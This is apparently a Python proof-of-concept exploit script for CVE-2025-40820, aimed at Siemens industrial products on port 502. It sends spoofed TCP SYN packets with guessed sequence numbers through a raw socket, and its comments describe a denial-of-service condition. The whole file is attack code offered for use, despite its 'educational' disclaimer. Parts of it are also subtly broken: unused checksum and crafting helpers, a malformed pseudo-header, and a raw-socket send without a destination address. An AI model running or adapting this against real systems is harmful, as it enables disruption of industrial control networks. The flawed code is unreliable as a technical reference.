#!/usr/bin/env python3
"""
CVE-2025-40820 TCP Sequence Number Validation PoC
Note: This is a conceptual PoC for educational and security research purposes only.
"""
import socket
import struct
import random
import time
from scapy.all import IP, TCP, Raw
def calculate_tcp_checksum(src_ip, dst_ip, src_port, dst_port, seq_num, ack_num, flags, payload=b''):
"""Calculate TCP checksum"""
# Simplified checksum calculation
pseudo_header = struct.pack('!HHLLBBHHH',
src_port, dst_port, seq_num, ack_num,
5, flags, 0xFFF, len(payload), 0)
tcp_segment = pseudo_header + payload
checksum = sum(struct.unpack('!%dH' % (len(tcp_segment) // 2), tcp_segment))
return ~checksum & 0xFFFF
def craft_tcp_packet(src_ip, dst_ip, src_port, dst_port, seq_num, ack_num, flags, payload=b''):
"""Craft a TCP packet with specified sequence number"""
tcp_header = struct.pack('!HHLLBBHHH',
src_port, dst_port, seq_num, ack_num,
5 << 4, flags, 0xFFF, 0, 0)
return tcp_header + payload
def send_tcp_injection(target_ip, target_port, spoofed_src_ip):
"""
Send TCP packet injection attempt
Note: Actual exploitation requires precise timing and network position
"""
try:
# Create raw socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Generate sequence number within broad range (vulnerability condition)
base_seq = random.randint(0, 0xFFFFFFFF)
# Construct IP header
ip_header = IP(src=spoofed_src_ip, dst=target_ip, proto=socket.IPPROTO_TCP)
# Construct TCP SYN packet with guessed sequence number
tcp_packet = TCP(sport=random.randint(1024, 65535),
dport=target_port,
seq=base_seq,
flags='S')
print(f"[*] Sending TCP SYN injection to {target_ip}:{target_port}")
print(f"[*] Spoofed source: {spoofed_src_ip}")
print(f"[*] Sequence number: {base_seq} (broad range accepted due to vulnerability)")
# Send packet (requires root privileges)
send_packet = ip_header / tcp_packet
sock.send(send_packet)
print("[*] Packet sent - requires precise timing for DoS condition")
return True
except PermissionError:
print("[!] Error: Requires root privileges to send raw packets")
return False
except Exception as e:
print(f"[!] Error: {e}")
return False
def main():
# Configuration
target_ip = "192.168.1.100" # Target IP - CHANGE THIS
target_port = 502 # Common industrial protocol port
spoofed_ip = "10.0.0.1" # Spoofed source IP
print("=" * 60)
print("CVE-2025-40820 TCP Sequence Number Validation PoC")
print("Target: Siemens Industrial Products")
print("=" * 60)
# Send injection attempt
send_tcp_injection(target_ip, target_port, spoofed_ip)
print("\n[!] Note: Successful exploitation requires:")
print(" - Network proximity for packet injection")
print(" - Precise timing synchronization")
print(" - Ability to spoof IP addresses")
if __name__ == "__main__":
main()